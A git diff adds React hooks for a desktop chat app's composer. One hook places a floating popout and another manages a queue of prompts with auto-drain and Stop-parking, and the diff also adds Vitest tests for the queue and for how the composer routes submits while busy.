diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-popout.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-popout.ts
new file mode 100644
index 000000000..b326025bb
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-popout.ts
@@ -0,0 +1,169 @@
+import { useStore } from '@nanostores/react'
+import { type RefObject, useCallback, useLayoutEffect, useMemo, useRef, useState } from 'react'
+
+import { usePaneGroup, usePaneVisible } from '@/components/pane-shell/pane-visibility'
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { triggerHaptic } from '@/lib/haptics'
+import {
+  $composerPopoutZone,
+  clampPopoutPosition,
+  getComposerPopoutZone,
+  popoutBoundsElement,
+  type PopoutPosition,
+  readPopoutBounds,
+  setComposerPoppedOut
+} from '@/store/composer-popout'
+import { isSecondaryWindow } from '@/store/windows'
+
+import { useComposerPopoutGestures } from './use-popout-drag'
+
+interface UseComposerPopoutOptions {
+  composerRef: RefObject<HTMLFormElement | null>
+}
+
+/**
+ * This surface's on-screen placement, derived from its zone's drag intent.
+ *
+ * A zone stores one intent for its whole tab stack — drag the box in any tab and
+ * it moves in all of them — but each surface owns a different rect, so the
+ * intent is clamped per surface. Clamping into the store instead would have
+ * every keep-alive-mounted tab overwrite the others with a position bounded by
+ * ITS geometry, last writer winning: that's how a drag in one tab used to get
+ * lost in another.
+ *
+ * Re-placing is skipped while this surface drags (the gesture already clamped
+ * against this rect) and while it's an inactive tab (still mounted, so a live
+ * drag would otherwise force a reflow per background tab per frame).
+ */
+function usePopoutPlacement(
+  composerRef: RefObject<HTMLFormElement | null>,
+  groupId: string,
+  intent: PopoutPosition,
+  dragging: boolean,
+  poppedOut: boolean
+): PopoutPosition {
+  const [placement, setPlacement] = useState(intent)
+  const visible = usePaneVisible()
+  // Re-place while this surface is the visible tab and isn't itself dragging.
+  const live = poppedOut && visible && !dragging
+
+  // Resolved before the shared ResizeObserver below registers (hook order puts
+  // this layout effect first), so the observer always has this surface's own
+  // bounds element rather than a document-wide first match.
+  const boundsRef = useRef<Element | null>(null)
+
+  useLayoutEffect(() => {
+    boundsRef.current = popoutBoundsElement(composerRef.current)
+  })
+
+  const reclamp = useCallback(() => {
+    const el = composerRef.current
+
+    if (!el) {
+      return
+    }
+
+    const size = { height: el.offsetHeight, width: el.offsetWidth }
+    const next = clampPopoutPosition(getComposerPopoutZone(groupId).position, size, readPopoutBounds(el))
+
+    // Bail on an unchanged placement: a sash drag resizes the surface every
+    // frame, and a fresh object each time re-renders the whole composer.
+    setPlacement(prev => (prev.bottom === next.bottom && prev.right === next.right ? prev : next))
+  }, [composerRef, groupId])
+
+  // The surface resizing (sash drag, sidebar open, tab split) re-places the box
+  // against its new rect; the composer resizing (a growing draft) re-places it
+  // against its new height.
+  useResizeObserver(
+    useCallback(() => {
+      if (live) {
+        reclamp()
+      }
+    }, [live, reclamp]),
+    composerRef,
+    boundsRef
+  )
+
+  // useLayoutEffect, not useEffect: a tab revealed after the box was dragged in
+  // another one must not paint a frame at its stale placement before catching
+  // up. Runs before paint, and no-ops for hidden tabs (`live`).
+  useLayoutEffect(() => {
+    if (!live) {
+      return undefined
+    }
+
+    reclamp()
+    // A second pass after layout settles (sidebar widths, fonts): anyone
+    // restored out of bounds is pulled back even if the first measure was
+    // premature.
+    const raf = requestAnimationFrame(reclamp)
+    window.addEventListener('resize', reclamp)
+
+    return () => {
+      cancelAnimationFrame(raf)
+      window.removeEventListener('resize', reclamp)
+    }
+  }, [intent, live, reclamp])
+
+  return dragging ? intent : placement
+}
+
+/**
+ * Pop-out engine: the docked↔floating state, the dock/float/toggle actions, the
+ * drag gestures, and this surface's placement.
+ *
+ * State is scoped to the surface's layout ZONE (its tab stack): tabs in the same
+ * zone share one float, so switching tabs keeps the box exactly where you put
+ * it, while a split zone beside them keeps its own — popping out on the left
+ * doesn't fling a composer out of the right.
+ *
+ * Secondary windows (the tiny Ctrl+Shift+N window, subagent watch windows) stay
+ * docked: a floating composer makes no sense in a scratch window.
+ */
+export function useComposerPopout({ composerRef }: UseComposerPopoutOptions) {
+  const popoutAllowed = !isSecondaryWindow()
+  const groupId = usePaneGroup()
+  const zone = useStore(useMemo(() => $composerPopoutZone(groupId), [groupId]))
+  const poppedOut = zone.poppedOut && popoutAllowed
+
+  const handleComposerPopOut = useCallback(() => {
+    triggerHaptic('open')
+    setComposerPoppedOut(groupId, true)
+  }, [groupId])
+
+  const handleComposerDock = useCallback(() => {
+    triggerHaptic('success')
+    setComposerPoppedOut(groupId, false)
+  }, [groupId])
+
+  // Double-click the grab area toggles dock/float. Undocking restores the last
+  // position (a zone's stored position is never cleared on dock).
+  const handleComposerToggle = useCallback(() => {
+    poppedOut ? handleComposerDock() : handleComposerPopOut()
+  }, [handleComposerDock, handleComposerPopOut, poppedOut])
+
+  const {
+    dockProximity,
+    dragging,
+    onPointerDown: onComposerGesturePointerDown
+  } = useComposerPopoutGestures({
+    composerRef,
+    groupId,
+    onDock: handleComposerDock,
+    onPopOut: handleComposerPopOut,
+    poppedOut,
+    position: zone.position
+  })
+
+  const popoutPosition = usePopoutPlacement(composerRef, groupId, zone.position, dragging, poppedOut)
+
+  return {
+    dockProximity,
+    dragging,
+    handleComposerToggle,
+    onComposerGesturePointerDown,
+    popoutAllowed,
+    popoutPosition,
+    poppedOut
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-queue.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-composer-queue.test.tsx
new file mode 100644
index 000000000..ad0f62e4a
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-queue.test.tsx
@@ -0,0 +1,130 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $parkedQueueSessions,
+  $queuedPromptsBySession,
+  enqueueQueuedPrompt,
+  getQueuedPrompts,
+  isQueueParked,
+  parkQueuedPrompts
+} from '@/store/composer-queue'
+
+import type { QueueEditState } from '../composer-utils'
+import type { ChatBarProps } from '../types'
+
+import { useComposerQueue } from './use-composer-queue'
+
+// The park ↔ drain contract at the hook level. The store tests pin the pure
+// pieces (shouldAutoDrain, park bookkeeping); these pin the wiring — the
+// auto-drain effect honoring the park, and send-now-while-busy lifting it so
+// the settle drain still flows (the regression that sank the old blanket
+// interrupt latch).
+
+const SESSION_KEY = 'stored-session-queue-hook'
+
+function renderQueueHook(overrides: { busy?: boolean; onCancel?: () => void } = {}) {
+  const onSubmit = vi.fn<ChatBarProps['onSubmit']>(async () => true)
+  const onCancel = overrides.onCancel ?? vi.fn()
+  const queueEditRef: { current: QueueEditState | null } = { current: null }
+
+  const hook = renderHook(
+    ({ busy }: { busy: boolean }) =>
+      useComposerQueue({
+        activeQueueSessionKey: SESSION_KEY,
+        attachments: [],
+        busy,
+        clearDraft: () => undefined,
+        draftRef: { current: '' },
+        focusInput: () => undefined,
+        loadIntoComposer: () => undefined,
+        onCancel,
+        onSubmit,
+        queueEditRef,
+        queueSessionKey: SESSION_KEY,
+        sessionId: 'rt-session-queue-hook'
+      }),
+    { initialProps: { busy: overrides.busy ?? false } }
+  )
+
+  return { hook, onCancel, onSubmit }
+}
+
+describe('useComposerQueue park integration', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $queuedPromptsBySession.set({})
+    $parkedQueueSessions.set({})
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    $queuedPromptsBySession.set({})
+    $parkedQueueSessions.set({})
+  })
+
+  it('auto-drains an unparked queue once idle', async () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'flows' })
+
+    const { onSubmit } = renderQueueHook()
+
+    await waitFor(() => expect(onSubmit).toHaveBeenCalledTimes(1))
+    expect(getQueuedPrompts(SESSION_KEY)).toHaveLength(0)
+  })
+
+  it('holds a parked queue at the idle settle (the Stop edge)', async () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'halted' })
+    parkQueuedPrompts(SESSION_KEY)
+
+    const { hook, onSubmit } = renderQueueHook({ busy: true })
+
+    // The Stop settle: busy flips false with the park in place.
+    hook.rerender({ busy: false })
+
+    await act(async () => {
+      await Promise.resolve()
+    })
+
+    expect(onSubmit).not.toHaveBeenCalled()
+    expect(getQueuedPrompts(SESSION_KEY)).toHaveLength(1)
+  })
+
+  it('drainNextQueued sends a parked entry and lifts the park (manual resume)', async () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'resumed' })
+    parkQueuedPrompts(SESSION_KEY)
+
+    const { hook, onSubmit } = renderQueueHook()
+
+    await act(async () => {
+      await hook.result.current.drainNextQueued()
+    })
+
+    expect(onSubmit).toHaveBeenCalledTimes(1)
+    expect(isQueueParked(SESSION_KEY)).toBe(false)
+  })
+
+  it('sendQueuedNow while busy unparks so the settle drain flows (no stale latch)', async () => {
+    const first = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'first' })
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'send me now' })
+    parkQueuedPrompts(SESSION_KEY)
+
+    const { hook, onCancel, onSubmit } = renderQueueHook({ busy: true })
+    const target = getQueuedPrompts(SESSION_KEY).find(e => e.id !== first!.id)!
+
+    act(() => {
+      hook.result.current.sendQueuedNow(target.id)
+    })
+
+    // The interrupt fired and the park lifted — this interrupt exists to reach
+    // the queue, not to halt it.
+    expect(onCancel).toHaveBeenCalledTimes(1)
+    expect(isQueueParked(SESSION_KEY)).toBe(false)
+
+    // Turn settles → the promoted entry drains.
+    hook.rerender({ busy: false })
+
+    await waitFor(() => expect(onSubmit).toHaveBeenCalledTimes(1))
+    expect(onSubmit.mock.calls[0]?.[0]).toBe('send me now')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-queue.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-queue.ts
new file mode 100644
index 000000000..e1bb5442f
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-queue.ts
@@ -0,0 +1,383 @@
+import { useStore } from '@nanostores/react'
+import { type RefObject, useCallback, useEffect, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { useSessionSlice } from '@/lib/use-session-slice'
+import { type ComposerAttachment } from '@/store/composer'
+import { resetBrowseState } from '@/store/composer-input-history'
+import {
+  $parkedQueueSessions,
+  $queuedPromptsBySession,
+  enqueueQueuedPrompt,
+  getQueuedPrompts,
+  MAX_AUTO_DRAIN_ATTEMPTS,
+  migrateQueuedPrompts,
+  promoteQueuedPrompt,
+  type QueuedPromptEntry,
+  removeQueuedPrompt,
+  shouldAutoDrain,
+  unparkQueuedPrompts,
+  updateQueuedPrompt
+} from '@/store/composer-queue'
+import { notify } from '@/store/notifications'
+
+import { cloneAttachments, type QueueEditState } from '../composer-utils'
+import { useComposerScope } from '../scope'
+import type { ChatBarProps } from '../types'
+
+interface UseComposerQueueArgs {
+  activeQueueSessionKey: string | null
+  attachments: ComposerAttachment[]
+  busy: boolean
+  clearDraft: () => void
+  draftRef: RefObject<string>
+  focusInput: () => void
+  loadIntoComposer: (text: string, attachments: ComposerAttachment[]) => void
+  onCancel: ChatBarProps['onCancel']
+  onSubmit: ChatBarProps['onSubmit']
+  queueEditRef: RefObject<QueueEditState | null>
+  queueSessionKey: ChatBarProps['queueSessionKey']
+  sessionId: string | null | undefined
+}
+
+/**
+ * The composer's queue engine — everything about queued turns: the per-session
+ * queue store binding, in-place queued-prompt editing (begin/step/exit), the
+ * shared drain lock + send-then-remove sequence, manual send-now, and the
+ * edge-independent auto-drain with bounded retries. It consumes the draft API
+ * (draftRef/clearDraft/loadIntoComposer/focusInput) and writes the
+ * coordinator-owned `queueEditRef` so the draft engine can read the edit state
+ * without a back-reference. Behaviour-identical to the inline original.
+ */
+export function useComposerQueue({
+  activeQueueSessionKey,
+  attachments,
+  busy,
+  clearDraft,
+  draftRef,
+  focusInput,
+  loadIntoComposer,
+  onCancel,
+  onSubmit,
+  queueEditRef,
+  queueSessionKey,
+  sessionId
+}: UseComposerQueueArgs) {
+  const { t } = useI18n()
+  const scope = useComposerScope()
+
+  // Per-session slice (edge): re-renders only when THIS session's queue changes,
+  // not on cross-session queue churn (the plain atom's map ref changes on every
+  // write; the keyed array does not).
+  const queuedPrompts = useSessionSlice($queuedPromptsBySession, activeQueueSessionKey)
+
+  // Parked = the user explicitly halted this session (Stop/Esc) while prompts
+  // were queued. The map is tiny (only halted sessions) so a plain subscribe
+  // is fine; the auto-drain effect below reads it as a gate.
+  const parkedSessions = useStore($parkedQueueSessions)
+  const queueParked = Boolean(activeQueueSessionKey && parkedSessions[activeQueueSessionKey])
+
+  const [queueEdit, setQueueEdit] = useState<QueueEditState | null>(null)
+  queueEditRef.current = queueEdit
+
+  const setQueueEditSnapshot = useCallback(
+    (next: QueueEditState | null) => {
+      queueEditRef.current = next
+      setQueueEdit(next)
+    },
+    [queueEditRef]
+  )
+
+  const editingQueuedPrompt = queueEdit ? (queuedPrompts.find(entry => entry.id === queueEdit.entryId) ?? null) : null
+
+  const prevQueueKeyRef = useRef(activeQueueSessionKey)
+  const drainingQueueRef = useRef(false)
+  const drainFailuresRef = useRef(new Map<string, number>())
+
+  const beginQueuedEdit = (entry: QueuedPromptEntry) => {
+    if (!activeQueueSessionKey || queueEdit) {
+      return
+    }
+
+    setQueueEditSnapshot({
+      attachments: cloneAttachments(attachments),
+      draft: draftRef.current,
+      entryId: entry.id,
+      sessionKey: activeQueueSessionKey
+    })
+    // Edit what the panel SHOWS. A queued `/skill` entry's text is the
+    // expanded skill body — never drop that into the composer.
+    loadIntoComposer(entry.displayText ?? entry.text, entry.attachments)
+    triggerHaptic('selection')
+    focusInput()
+  }
+
+  // Walk queued entries while editing (ArrowUp = older, ArrowDown = newer),
+  // saving the in-progress edit on each step. Stepping newer past the last
+  // entry exits edit mode and restores the pre-edit draft.
+  const stepQueuedEdit = (direction: -1 | 1) => {
+    if (!queueEdit) {
+      return false
+    }
+
+    const index = queuedPrompts.findIndex(e => e.id === queueEdit.entryId)
+    const target = index + direction
+
+    if (index < 0 || target < 0) {
+      return index >= 0 // at the oldest: swallow; missing entry: let it fall through
+    }
+
+    const saved = updateQueuedPrompt(queueEdit.sessionKey, queueEdit.entryId, {
+      attachments: cloneAttachments(attachments),
+      text: draftRef.current
+    })
+
+    const next = queuedPrompts[target]
+
+    if (next) {
+      setQueueEditSnapshot({ ...queueEdit, entryId: next.id })
+      loadIntoComposer(next.displayText ?? next.text, next.attachments)
+    } else {
+      setQueueEditSnapshot(null)
+      loadIntoComposer(queueEdit.draft, queueEdit.attachments)
+    }
+
+    triggerHaptic(saved ? 'success' : 'selection')
+    focusInput()
+
+    return true
+  }
+
+  const exitQueuedEdit = (action: 'cancel' | 'save'): boolean => {
+    if (!queueEdit) {
+      return false
+    }
+
+    if (action === 'save') {
+      const text = draftRef.current
+      const next = cloneAttachments(attachments)
+
+      if (!text.trim() && next.length === 0) {
+        return false
+      }
+
+      const saved = updateQueuedPrompt(queueEdit.sessionKey, queueEdit.entryId, { attachments: next, text })
+      triggerHaptic(saved ? 'success' : 'selection')
+    } else {
+      triggerHaptic('cancel')
+    }
+
+    setQueueEditSnapshot(null)
+    loadIntoComposer(queueEdit.draft, queueEdit.attachments)
+    focusInput()
+
+    return true
+  }
+
+  const queueCurrentDraft = useCallback(() => {
+    const text = draftRef.current
+
+    if (!activeQueueSessionKey || (!text.trim() && attachments.length === 0)) {
+      return false
+    }
+
+    if (!enqueueQueuedPrompt(activeQueueSessionKey, { text, attachments })) {
+      return false
+    }
+
+    clearDraft()
+    scope.attachments.clear()
+    triggerHaptic('selection')
+
+    return true
+  }, [activeQueueSessionKey, attachments, clearDraft, draftRef, scope.attachments])
+
+  // All queue drain paths share one lock + send-then-remove sequence.
+  // `pickEntry` lets each caller choose head, by-id, or skip-edited.
+  const runDrain = useCallback(
+    async (pickEntry: (entries: QueuedPromptEntry[]) => QueuedPromptEntry | undefined): Promise<boolean> => {
+      if (drainingQueueRef.current || !activeQueueSessionKey) {
+        return false
+      }
+
+      const drainQueueSessionKey = activeQueueSessionKey
+      const drainRuntimeSessionId = sessionId ?? null
+      const entry = pickEntry(getQueuedPrompts(drainQueueSessionKey))
+
+      if (!entry) {
+        return false
+      }
+
+      drainingQueueRef.current = true
+
+      try {
+        const accepted = await Promise.resolve(
+          onSubmit(entry.text, {
+            attachments: entry.attachments,
+            ...(entry.displayText ? { displayText: entry.displayText } : {}),
+            fromQueue: true,
+            sessionId: drainRuntimeSessionId,
+            storedSessionId: drainQueueSessionKey
+          })
+        )
+
+        if (accepted === false) {
+          return false
+        }
+
+        drainFailuresRef.current.delete(entry.id)
+        removeQueuedPrompt(drainQueueSessionKey, entry.id)
+        resetBrowseState(drainRuntimeSessionId)
+        // A successful drain means the queue is flowing again — lift any park
+        // so the remaining entries follow. Manual drains (Enter on an empty
+        // composer, the per-row send arrow) are exactly the resume gestures a
+        // parked queue waits for; the auto path only reaches here unparked.
+        unparkQueuedPrompts(drainQueueSessionKey)
+
+        return true
+      } finally {
+        drainingQueueRef.current = false
+      }
+    },
+    [activeQueueSessionKey, onSubmit, sessionId]
+  )
+
+  const pickDrainHead = useCallback(
+    (entries: QueuedPromptEntry[]) => {
+      const skip = queueEditRef.current?.entryId
+
+      return skip ? entries.find(e => e.id !== skip) : entries[0]
+    },
+    [queueEditRef] // reads the edit id off a ref so the lock-holder always sees the latest
+  )
+
+  const drainNextQueued = useCallback(() => runDrain(pickDrainHead), [pickDrainHead, runDrain])
+
+  const sendQueuedNow = useCallback(
+    (id: string) => {
+      if (!activeQueueSessionKey || id === queueEdit?.entryId) {
+        return false
+      }
+
+      if (busy) {
+        // Promote to the head, then interrupt. The gateway always emits a
+        // settle (message.complete + session.info running:false) when the
+        // turn unwinds, and the busy→false auto-drain below sends this entry.
+        // Unpark first: this interrupt exists to REACH the queue, so the
+        // settle drain must flow — unlike a Stop/Esc halt, which parks.
+        promoteQueuedPrompt(activeQueueSessionKey, id)
+        unparkQueuedPrompts(activeQueueSessionKey)
+        triggerHaptic('selection')
+        void Promise.resolve(onCancel())
+
+        return true
+      }
+
+      // A manual send clears the auto-drain backoff so a stuck entry the user
+      // taps gets a fresh attempt (and re-enables auto-retry on success).
+      drainFailuresRef.current.delete(id)
+
+      return runDrain(entries => entries.find(e => e.id === id))
+    },
+    [activeQueueSessionKey, busy, onCancel, queueEdit, runDrain]
+  )
+
+  // Edge-independent auto-drain: send the head whenever the session is idle and
+  // the queue is non-empty, bounding retries so a thrown/rejected onSubmit (e.g.
+  // a stale-session 404) can't strand the entry permanently nor spin-loop. The
+  // drain lock serializes sends; a remount/reconnect resets the failure counts.
+  const autoDrainNext = useCallback(() => {
+    if (busy || queueParked || drainingQueueRef.current || !activeQueueSessionKey) {
+      return
+    }
+
+    const entry = pickDrainHead(queuedPrompts)
+
+    if (!entry || (drainFailuresRef.current.get(entry.id) ?? 0) >= MAX_AUTO_DRAIN_ATTEMPTS) {
+      return
+    }
+
+    const onFail = () => {
+      const fails = (drainFailuresRef.current.get(entry.id) ?? 0) + 1
+      drainFailuresRef.current.set(entry.id, fails)
+
+      if (fails >= MAX_AUTO_DRAIN_ATTEMPTS) {
+        notify({
+          id: 'composer-queue-stuck',
+          kind: 'error',
+          title: t.composer.queueStuckTitle,
+          message: t.composer.queueStuckBody
+        })
+      }
+    }
+
+    void runDrain(() => entry)
+      .then(sent => {
+        if (!sent) {
+          onFail()
+        }
+      })
+      .catch(onFail)
+  }, [activeQueueSessionKey, busy, pickDrainHead, queueParked, queuedPrompts, runDrain, t])
+
+  // Re-key on a runtime session-id change. A stable stored id (queueSessionKey)
+  // never churns, so a change there is a real session switch and must NOT
+  // migrate; only the runtime-derived key (queueSessionKey falsy → key is
+  // sessionId) churns on a backend bounce/resume of the same conversation.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const prev = prevQueueKeyRef.current
+    prevQueueKeyRef.current = activeQueueSessionKey
+
+    if (queueSessionKey || !prev || !activeQueueSessionKey || prev === activeQueueSessionKey) {
+      return
+    }
+
+    migrateQueuedPrompts(prev, activeQueueSessionKey)
+  }, [activeQueueSessionKey, queueSessionKey])
+
+  // Queued turns flow whenever the session is idle — on the busy→false settle
+  // edge, on mount/reconnect, and after a re-key — so a swallowed edge can't
+  // strand them. A park (explicit Stop/Esc) is the one gate: those entries wait
+  // for the user. To cancel queued turns, the user deletes them from the panel.
+  useEffect(() => {
+    if (shouldAutoDrain({ isBusy: busy, parked: queueParked, queueLength: queuedPrompts.length })) {
+      autoDrainNext()
+    }
+  }, [autoDrainNext, busy, queueParked, queuedPrompts.length])
+
+  // Queue-edit cleanup: on session swap the scope effect already stashed the
+  // edit snapshot; only restore into the composer when still on the same scope.
+  useEffect(() => {
+    if (!queueEdit) {
+      return
+    }
+
+    if (queueEdit.sessionKey === activeQueueSessionKey) {
+      if (editingQueuedPrompt) {
+        return
+      }
+
+      setQueueEditSnapshot(null)
+      loadIntoComposer(queueEdit.draft, queueEdit.attachments)
+
+      return
+    }
+
+    setQueueEditSnapshot(null)
+  }, [activeQueueSessionKey, editingQueuedPrompt, queueEdit, setQueueEditSnapshot]) // eslint-disable-line react-hooks/exhaustive-deps
+
+  return {
+    beginQueuedEdit,
+    drainNextQueued,
+    editingQueuedPrompt,
+    exitQueuedEdit,
+    queueCurrentDraft,
+    queueEdit,
+    queueParked,
+    queuedPrompts,
+    sendQueuedNow,
+    stepQueuedEdit
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-submit.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-composer-submit.test.tsx
new file mode 100644
index 000000000..dd83d04f0
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-submit.test.tsx
@@ -0,0 +1,265 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $clarifyRequests } from '@/store/clarify'
+import type { ComposerAttachment } from '@/store/composer'
+import { $gateway } from '@/store/gateway'
+
+import { useComposerSubmit } from './use-composer-submit'
+
+interface SubmitHarnessOptions {
+  attachments?: ComposerAttachment[]
+  busy?: boolean
+  compacting?: boolean
+  text?: string
+}
+
+function renderSubmitHook({
+  attachments = [],
+  busy = false,
+  compacting = false,
+  text = ''
+}: SubmitHarnessOptions = {}) {
+  const draftRef = { current: text }
+  const editor = document.createElement('div')
+  editor.dataset.slot = 'composer-rich-input'
+  editor.textContent = text
+  const editorRef = { current: editor }
+  const onCancel = vi.fn()
+  const onSteer = vi.fn(async () => true)
+  const onSubmit = vi.fn(async () => true)
+  const queueCurrentDraft = vi.fn(() => true)
+
+  const clearDraft = vi.fn(() => {
+    draftRef.current = ''
+    editorRef.current!.textContent = ''
+  })
+
+  const hook = renderHook(() =>
+    useComposerSubmit({
+      activeQueueSessionKey: 'stored-session',
+      activeQueueSessionKeyRef: { current: 'stored-session' },
+      attachments,
+      busy,
+      compacting,
+      clearDraft,
+      disabled: false,
+      draftRef,
+      drainNextQueued: vi.fn(async () => false),
+      editorRef,
+      exitQueuedEdit: vi.fn(() => false),
+      focusInput: vi.fn(),
+      inputDisabled: false,
+      loadIntoComposer: vi.fn(),
+      onCancel,
+      onSteer,
+      onSubmit,
+      queueCurrentDraft,
+      queueEdit: null,
+      queuedPrompts: [],
+      sessionId: 'runtime-session',
+      setComposerText: vi.fn(),
+      stashAt: vi.fn()
+    })
+  )
+
+  return { clearDraft, hook, onCancel, onSteer, onSubmit, queueCurrentDraft }
+}
+
+describe('useComposerSubmit busy-turn routing', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('steers a plain-text follow-up instead of queueing or stopping', async () => {
+    const { hook, onCancel, onSteer, onSubmit, queueCurrentDraft } = renderSubmitHook({
+      busy: true,
+      text: 'change course'
+    })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() => expect(onSteer).toHaveBeenCalledWith('change course'))
+    expect(queueCurrentDraft).not.toHaveBeenCalled()
+    expect(onCancel).not.toHaveBeenCalled()
+    expect(onSubmit).not.toHaveBeenCalled()
+  })
+
+  it('queues a plain-text follow-up while the active turn is compacting', () => {
+    const { hook, onCancel, onSteer, onSubmit, queueCurrentDraft } = renderSubmitHook({
+      busy: true,
+      compacting: true,
+      text: 'wait for the summary'
+    })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    expect(queueCurrentDraft).toHaveBeenCalledTimes(1)
+    expect(onSteer).not.toHaveBeenCalled()
+    expect(onSubmit).not.toHaveBeenCalled()
+    expect(onCancel).not.toHaveBeenCalled()
+  })
+
+  it('runs slash commands immediately while busy', async () => {
+    const { clearDraft, hook, onCancel, onSteer, onSubmit, queueCurrentDraft } = renderSubmitHook({
+      busy: true,
+      text: '/compress preserve context'
+    })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() =>
+      expect(onSubmit).toHaveBeenCalledWith('/compress preserve context', { composerScope: 'stored-session' })
+    )
+    expect(clearDraft).toHaveBeenCalledTimes(1)
+    expect(onSteer).not.toHaveBeenCalled()
+    expect(queueCurrentDraft).not.toHaveBeenCalled()
+    expect(onCancel).not.toHaveBeenCalled()
+  })
+
+  it('queues an attachment-bearing follow-up while busy', () => {
+    const attachment: ComposerAttachment = { id: 'doc', kind: 'file', label: 'notes.txt' }
+
+    const { hook, onCancel, onSteer, onSubmit, queueCurrentDraft } = renderSubmitHook({
+      attachments: [attachment],
+      busy: true,
+      text: 'read this'
+    })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    expect(queueCurrentDraft).toHaveBeenCalledTimes(1)
+    expect(onSteer).not.toHaveBeenCalled()
+    expect(onSubmit).not.toHaveBeenCalled()
+    expect(onCancel).not.toHaveBeenCalled()
+  })
+
+  it('stops an active turn only with an empty composer', () => {
+    const { hook, onCancel, onSteer, onSubmit, queueCurrentDraft } = renderSubmitHook({ busy: true })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    expect(onCancel).toHaveBeenCalledTimes(1)
+    expect(onSteer).not.toHaveBeenCalled()
+    expect(onSubmit).not.toHaveBeenCalled()
+    expect(queueCurrentDraft).not.toHaveBeenCalled()
+  })
+
+  it('submits a normal turn while idle', async () => {
+    const { hook, onCancel, onSteer, onSubmit, queueCurrentDraft } = renderSubmitHook({ text: 'ordinary question' })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() =>
+      expect(onSubmit).toHaveBeenCalledWith('ordinary question', {
+        attachments: [],
+        composerScope: 'stored-session'
+      })
+    )
+    expect(onSteer).not.toHaveBeenCalled()
+    expect(queueCurrentDraft).not.toHaveBeenCalled()
+    expect(onCancel).not.toHaveBeenCalled()
+  })
+
+  it('threads the loaded composer scope through onSubmit for the #59305 submit-time guard', async () => {
+    const { hook, onSubmit } = renderSubmitHook({ text: 'hello' })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() =>
+      expect(onSubmit).toHaveBeenCalledWith('hello', expect.objectContaining({ composerScope: 'stored-session' }))
+    )
+  })
+})
+
+describe('useComposerSubmit with a clarify parked on the session', () => {
+  const gatewayRequest = vi.fn(async () => ({ ok: true }))
+
+  const parkClarify = (sessionId: string) => {
+    $clarifyRequests.set({
+      [sessionId]: { requestId: `req-${sessionId}`, question: 'which one?', choices: ['a', 'b'], sessionId }
+    })
+    $gateway.set({ request: gatewayRequest } as unknown as ReturnType<typeof $gateway.get>)
+  }
+
+  afterEach(() => {
+    cleanup()
+    gatewayRequest.mockClear()
+    $clarifyRequests.set({})
+    $gateway.set(null)
+    vi.restoreAllMocks()
+  })
+
+  it('skips the question and still sends the typed message on an idle session', async () => {
+    parkClarify('runtime-session')
+    const { hook, onSubmit } = renderSubmitHook({ text: 'actually do this instead' })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() =>
+      expect(gatewayRequest).toHaveBeenCalledWith('clarify.respond', {
+        request_id: 'req-runtime-session',
+        answer: ''
+      })
+    )
+    await waitFor(() =>
+      expect(onSubmit).toHaveBeenCalledWith('actually do this instead', expect.objectContaining({ attachments: [] }))
+    )
+    expect($clarifyRequests.get()['runtime-session']).toBeUndefined()
+  })
+
+  it('skips the question before steering a busy turn', async () => {
+    parkClarify('runtime-session')
+    const { hook, onSteer } = renderSubmitHook({ busy: true, text: 'change course' })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() => expect(onSteer).toHaveBeenCalledWith('change course'))
+    expect(gatewayRequest).toHaveBeenCalledWith('clarify.respond', { request_id: 'req-runtime-session', answer: '' })
+  })
+
+  it('leaves the question alone for an empty Enter (Stop, not an answer)', () => {
+    parkClarify('runtime-session')
+    const { hook, onCancel } = renderSubmitHook({ busy: true })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    expect(gatewayRequest).not.toHaveBeenCalled()
+    expect($clarifyRequests.get()['runtime-session']).toBeDefined()
+    expect(onCancel).toHaveBeenCalledTimes(1)
+  })
+
+  it("leaves another session's question alone", async () => {
+    parkClarify('other-session')
+    const { hook, onSubmit } = renderSubmitHook({ text: 'unrelated message' })
+
+    act(() => {
+      hook.result.current.submitDraft()
+    })
+
+    await waitFor(() => expect(onSubmit).toHaveBeenCalled())
+    expect(gatewayRequest).not.toHaveBeenCalled()
+    expect($clarifyRequests.get()['other-session']).toBeDefined()
+  })
+})
